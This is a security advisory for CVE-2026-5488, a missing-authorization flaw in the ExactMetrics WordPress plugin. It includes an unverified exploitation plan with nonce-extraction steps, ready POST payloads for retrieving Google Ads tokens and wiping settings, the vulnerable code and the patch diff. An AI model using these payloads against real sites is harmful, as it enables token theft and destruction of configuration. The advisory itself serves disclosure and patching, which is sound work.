CVE-2026-5488

ExactMetrics <= 9.1.2 - Authenticated (Subscriber+) Missing Authorization to Google Ads Access Token Retrieval via AJAX Action 'exactmetrics_ads_get_token'

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
9.1.3
Patched in
1d
Time to patch

Description

The ExactMetrics – Google Analytics Dashboard for WordPress plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 9.1.2. This is due to missing capability checks in the get_ads_access_token() and reset_experience() AJAX handlers. While the mi-admin-nonce is localized on all admin pages (including profile.php which subscribers can access), and while other similar AJAX endpoints in the same class properly check for the exactmetrics_save_settings capability, these two endpoints only verify the nonce. This makes it possible for authenticated attackers, with subscriber-level access and above, to retrieve valid Google Ads access tokens and reset Google Ads integration settings.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=9.1.2
PublishedApril 23, 2026
Last updatedApril 24, 2026

What Changed in the Fix

Changes introduced in v9.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the exploitation research for CVE-2026-5488, a missing authorization vulnerability in the ExactMetrics WordPress plugin. ## 1. Vulnerability Summary The **ExactMetrics – Google Analytics Dashboard for WordPress** plugin (versions <= 9.1.2) fails to perform capability checks on tw…

Show full research plan

This plan outlines the exploitation research for CVE-2026-5488, a missing authorization vulnerability in the ExactMetrics WordPress plugin.

1. Vulnerability Summary

The ExactMetrics – Google Analytics Dashboard for WordPress plugin (versions <= 9.1.2) fails to perform capability checks on two specific AJAX handlers: exactmetrics_ads_get_token and exactmetrics_ads_reset_experience. While these endpoints verify a WordPress nonce (mi-admin-nonce), they do not verify if the user possesses the exactmetrics_save_settings capability (typically held by Administrators). Because the required nonce is localized on common admin pages (like profile.php), any authenticated user, including those with Subscriber privileges, can retrieve Google Ads access tokens or reset the plugin's Google Ads integration settings.

2. Attack Vector Analysis

  • Endpoints: /wp-admin/admin-ajax.php
  • Actions: exactmetrics_ads_get_token and exactmetrics_ads_reset_experience
  • Parameter: nonce (carrying the mi-admin-nonce value)
  • Authentication: Authenticated (Subscriber-level and above)
  • Preconditions:
    1. The plugin must be active.
    2. For exactmetrics_ads_get_token to return a token, the plugin must be authenticated with a Google account (can be mocked for PoC).

3. Code Flow

Token Retrieval Path:

  1. Entry Point: ExactMetrics_Google_Ads::__construct (in includes/ppc/google/class-exactmetrics-google-ads.php) registers the AJAX action:
    add_action('wp_ajax_exactmetrics_ads_get_token', array($this, 'get_ads_access_token'));
  2. Handler: ExactMetrics_Google_Ads::get_ads_access_token() is called.
  3. Nonce Check: check_ajax_referer('mi-admin-nonce', 'nonce'); verifies the nonce.
  4. Authorization Check: MISSING. (Compare this to update_ads_setting() in the same class, which checks current_user_can('exactmetrics_save_settings')).
  5. Token Fetching: Calls $this->get_access_token().
  6. Response: wp_send_json_success(array('access_token' => $access_token_result)); sends the token back to the subscriber.

Experience Reset Path:

  1. Entry Point: Constructor registers wp_ajax_exactmetrics_ads_reset_experience.
  2. Handler: ExactMetrics_Google_Ads::reset_experience() is called.
  3. Nonce Check: check_ajax_referer('mi-admin-nonce', 'nonce'); verifies the nonce.
  4. Authorization Check: MISSING.
  5. Data Destruction: Calls self::clear_data(), which executes:
    delete_transient(self::TOKEN_CACHE_KEY);
    exactmetrics_delete_option(self::SETTINGS_KEY);
  6. Response: JSON success message.

4. Nonce Acquisition Strategy

The mi-admin-nonce is generated and localized for the exactmetrics-admin-setup-wizard script. According to includes/admin/admin-assets.php, this script is enqueued on all admin pages where a setup notice might show, including profile.php, which is accessible to Subscribers.

  1. Login: Authenticate as a Subscriber user.
  2. Navigate: Access http://vulnerable-site.com/wp-admin/profile.php.
  3. Extraction: Use browser_eval to extract the nonce from the global JavaScript object:
    browser_eval("window.exactmetrics?.nonce")
    The localization is registered in admin_scripts():
    wp_localize_script(
        'exactmetrics-admin-setup-wizard',
        'exactmetrics',
        array(
            'ajax'  => admin_url( 'admin-ajax.php' ),
            'nonce' => wp_create_nonce( 'mi-admin-nonce' ),
        )
    );
    

5. Exploitation Strategy

Phase 1: Access Token Retrieval

  1. Identify Vulnerability: Send a POST request to admin-ajax.php as a Subscriber using the extracted nonce.
  2. Payload:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=exactmetrics_ads_get_token&nonce=[EXTRACTED_NONCE]
    
  3. Expected Response: A JSON object containing success: true and the access_token.

Phase 2: Reset Experience (DoS/Configuration Wipe)

  1. Payload:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=exactmetrics_ads_reset_experience&nonce=[EXTRACTED_NONCE]
    
  2. Expected Response: {"success":true,"data":{"message":"Google Ads experience reset successfully."}}.

6. Test Data Setup

To ensure the PoC demonstrates impact (returning a real-looking token), the following state must be created:

  1. Create Subscriber: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Mock Google Authentication: The get_access_token() method checks exactmetrics_is_authed(). We must set the expected transient so it doesn't try to call the real Google API.
    wp transient set exactmetrics_google_ads_access_token_data '{"token":"POC-SECRET-TOKEN-12345", "expires_at":"2029-01-01 00:00:00"}' 3600
  3. Set Settings: Create some dummy settings to be cleared.
    wp option set exactmetrics_google_ads_settings '{"conversion_tracking_id":"AW-123456789"}'

7. Expected Results

  • Token Retrieval: The HTTP response must contain "access_token":"POC-SECRET-TOKEN-12345".
  • Reset Experience: The settings option exactmetrics_google_ads_settings and the transient exactmetrics_google_ads_access_token_data must be deleted from the database.

8. Verification Steps

  1. Check Token Access: After the first POST request, verify the response JSON body for the mock token.
  2. Check Settings Deletion: After the second POST request, verify using WP-CLI:
    • wp option get exactmetrics_google_ads_settings (Should return error/empty).
    • wp transient get exactmetrics_google_ads_access_token_data (Should return error/empty).

9. Alternative Approaches

If profile.php does not load the mi-admin-nonce in the specific test environment, navigate to the main ExactMetrics dashboard (if the Subscriber has exactmetrics_view_dashboard capability, though the description implies profile.php is the intended leak point).

If the exactmetrics JS object is missing, check for exactmetrics_admin_common which may also contain nonces, though the specific action mi-admin-nonce is tied to the setup wizard script.

Research Findings
Static analysis — not yet PoC-verified

Summary

The ExactMetrics plugin for WordPress fails to implement authorization checks on two AJAX handlers, `exactmetrics_ads_get_token` and `exactmetrics_ads_reset_experience`. Because the required nonce (`mi-admin-nonce`) is localized on all admin pages accessible to low-privilege users, an authenticated attacker with Subscriber-level access can retrieve Google Ads access tokens or reset the plugin's Google Ads integration settings.

Vulnerable Code

// includes/ppc/google/class-exactmetrics-google-ads.php line 165
public function reset_experience() {
    check_ajax_referer('mi-admin-nonce', 'nonce');

    self::clear_data();

    wp_send_json_success(array(
        'message' => __('Google Ads experience reset successfully.', 'google-analytics-dashboard-for-wp'),
    ));
}

---

// includes/ppc/google/class-exactmetrics-google-ads.php line 242
public function get_ads_access_token()
{
    check_ajax_referer('mi-admin-nonce', 'nonce');

    $access_token_result = $this->get_access_token();

    if (is_wp_error($access_token_result)) {
        wp_send_json_error(array(
            'message' => $access_token_result->get_error_message(),
            'code'    => $access_token_result->get_error_code(),
            'details' => $access_token_result->get_error_data(),
        ));
    }

    wp_send_json_success(array(
        'access_token' => $access_token_result,
    ));
}

---

// includes/admin/admin-assets.php line 220
wp_enqueue_script( 'exactmetrics-admin-setup-wizard', plugins_url( 'assets/js/admin-setup-wizard.js', EXACTMETRICS_PLUGIN_FILE ), array( 'jquery' ), exactmetrics_get_asset_version(), true );

wp_localize_script(
    'exactmetrics-admin-setup-wizard',
    'exactmetrics',
    array(
        'ajax'  => admin_url( 'admin-ajax.php' ),
        'nonce' => wp_create_nonce( 'mi-admin-nonce' ),
    )
);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.2/includes/ppc/google/class-exactmetrics-google-ads.php /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.3/includes/ppc/google/class-exactmetrics-google-ads.php
--- /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.2/includes/ppc/google/class-exactmetrics-google-ads.php	2026-02-04 16:05:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-dashboard-for-wp/9.1.3/includes/ppc/google/class-exactmetrics-google-ads.php	2026-04-22 16:28:26.000000000 +0000
@@ -167,6 +167,12 @@
 	public function reset_experience() {
 		check_ajax_referer('mi-admin-nonce', 'nonce');
 
+		if (! current_user_can('exactmetrics_save_settings')) {
+			wp_send_json_error(array(
+				'message' => __('You do not have permission to reset the Google Ads experience.', 'google-analytics-dashboard-for-wp'),
+			));
+		}
+
 		self::clear_data();
 
 		wp_send_json_success(array(
@@ -244,6 +250,12 @@
 	{
 		check_ajax_referer('mi-admin-nonce', 'nonce');
 
+		if (! current_user_can('exactmetrics_save_settings')) {
+			wp_send_json_error(array(
+				'message' => __('You do not have permission to retrieve the Google Ads access token.', 'google-analytics-dashboard-for-wp'),
+			));
+		}
+
 		$access_token_result = $this->get_access_token();
 
 		if (is_wp_error($access_token_result)) {

Exploit Outline

To exploit this vulnerability, an attacker first authenticates to the WordPress site as a low-privileged user (e.g., Subscriber). They navigate to their own profile page (`/wp-admin/profile.php`), where the plugin's setup wizard script enqueues the `exactmetrics` JavaScript object containing the `mi-admin-nonce`. The attacker extracts this nonce and then issues a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to either `exactmetrics_ads_get_token` (to retrieve a valid Google Ads OAuth access token) or `exactmetrics_ads_reset_experience` (to delete the existing Google Ads integration settings). Because the plugin only checks the nonce and lacks any capability check (like `current_user_can('exactmetrics_save_settings')`), the server processes the request for the Subscriber.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.